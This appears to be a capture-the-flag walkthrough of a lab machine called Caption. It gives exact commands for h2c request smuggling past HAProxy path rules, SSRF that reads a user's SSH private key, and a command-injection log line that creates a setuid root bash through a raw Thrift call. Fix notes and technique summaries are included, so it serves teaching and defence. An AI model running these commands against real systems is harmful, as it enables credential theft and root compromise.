Caption
Summary
I found a Flask web portal behind a HAProxy to Varnish cache chain, with a GitBucket code server exposed on a second port. Commit history in the public GitBucket repository leaked the portal login for the user 'margo'.
HAProxy blocked sensitive paths such as /logs and /download on ordinary HTTP/1.1 requests, but Varnish accepted HTTP/2 cleartext (h2c) upgrades, so a smuggled h2c tunnel carrying margo's own session reached those paths past the proxy's path rules. The admin-only /download feature fetched my own URLs, which let me reach an internal-only copyparty file service on localhost and read margo's SSH private key.
Logging in over SSH gave a regular-user shell. A root-owned Thrift log service on localhost then passed log content into a shell command; a crafted log line created a root-owned copy of bash with the setuid bit set, giving full system compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for margo>"
export SESSION="<a-value-you-captured-earlier>"Attack path: how the box was taken
Exact commands 4
Add the required vhost to local name resolution.
$ echo "$TARGET caption.htb" | sudo tee -a /etc/hostsFull TCP sweep to find the open ports.
$ nmap -p- --min-rate=1000 -T4 $TARGETFingerprint the discovered services.
$ nmap -sV -sC -p 22,80,8080 $TARGETInspect x-varnish / age / cache-control headers that reveal the cache layer.
$ curl -sI http://caption.htb/ --resolve caption.htb:80:$TARGETFixDo not expose internal source repositories to unauthenticated usersHigh
Exact commands 3
Clone the public repository (adjust the owner path if it differs).
$ git clone http://$TARGET:8080/git/root/Caption-Portal.gitSearch all history for the committed userlist block; read the margo password from the diff.
$ cd Caption-Portal && git log -p --all -S 'password' && grep -RniE 'margo|userlist|passwd|password' .git/logs configLog in and capture the session cookie into margo.cookies; export it as $SESSION for the next steps.
$ curl -sS -i -c margo.cookies --resolve caption.htb:80:$TARGET -X POST http://caption.htb/ --data-urlencode 'username=margo' --data-urlencode "password=$PASSWORD"FixRemove committed credentials, rotate them and scan history for secretsHigh
Exact commands 2
Upgrade to h2c and request the ACL-blocked /logs path through the tunnel with margo's session.
$ nghttp -u -v -t 12 -H 'host: caption.htb' -H ':authority: caption.htb' -H "cookie: session=$SESSION" http://$TARGET/ http://$TARGET/logsEquivalent with BishopFox's h2csmuggler tool.
$ python3 h2csmuggler.py -x http://caption.htb http://caption.htb/logs -H "Cookie: session=$SESSION"FixDisable HTTP/2 cleartext (h2c) upgrades on the Varnish listenerHigh
Exact commands 3
Confirm the SSRF reaches copyparty and lists margo's .ssh via the double-encoded path.
$ nghttp -u -t 12 -H 'host: caption.htb' -H ':authority: caption.htb' -H "cookie: session=$SESSION" http://$TARGET/ "http://$TARGET/download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fauthorized_keys" | grep -Eo 'ecdsa-sha2-nistp256 [A-Za-z0-9+/=]+[^<\r\n]*'Fetch the private key itself and save it.
$ nghttp -u -t 12 -H 'host: caption.htb' -H ':authority: caption.htb' -H "cookie: session=$SESSION" http://$TARGET/ "http://$TARGET/download?url=http://127.0.0.1:3923/.cpr/%252Fhome%252Fmargo%252F.ssh%252Fid_ecdsa" | sed -n '/BEGIN.*PRIVATE KEY/,/END.*PRIVATE KEY/p' > id_ecdsa_margoConfirm the recovered private key matches the public key.
$ chmod 400 id_ecdsa_margo && ssh-keygen -y -f id_ecdsa_margoFixValidate download URLs and keep SSH keys away from web-reachable servicesCritical
Exact commands 2
Prove access.
$ ssh -i id_ecdsa_margo margo@$TARGET id
uid=1000(margo) gid=1000(margo) groups=1000(margo)Read <user.txt>.
$ ssh -i id_ecdsa_margo margo@$TARGET cat /home/margo/user.txtExact commands 4
Confirm no sudo and locate the local Thrift service on 9090.
$ id; sudo -l; ss -ltnp | grep -E '127\.0\.0\.1:(3923|6081|6082|8000|9090)'Craft the malicious log line that breaks out of the quoted user-agent field.
$ printf '%s\n' "127.0.0.1 \"user-agent\":\"test';cp /bin/bash /tmp/bash;chmod u+s /tmp/bash;'test\"" > /tmp/test.logCall ReadLogFile over raw Thrift to trigger the injection.
$ python3 -c "import socket,struct;p=b'/tmp/test.log';n=b'ReadLogFile';q=struct.pack('>I',0x80010001)+struct.pack('>I',len(n))+n+struct.pack('>i',0)+b'\x0b'+struct.pack('>h',1)+struct.pack('>I',len(p))+p+b'\x00';s=socket.create_connection(('127.0.0.1',9090),5);s.sendall(q);print(s.recv(4096))"Run the setuid copy as root and read <root.txt>.
$ ls -l /tmp/bash && /tmp/bash -p -c 'id; cat /root/root.txt'FixRun the log service unprivileged and never build shell commands from log contentCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive, per GTFOBins, yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http-proxy HAProxy http proxy 2.0.0 or later |
| 8080/tcp | http Jetty |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.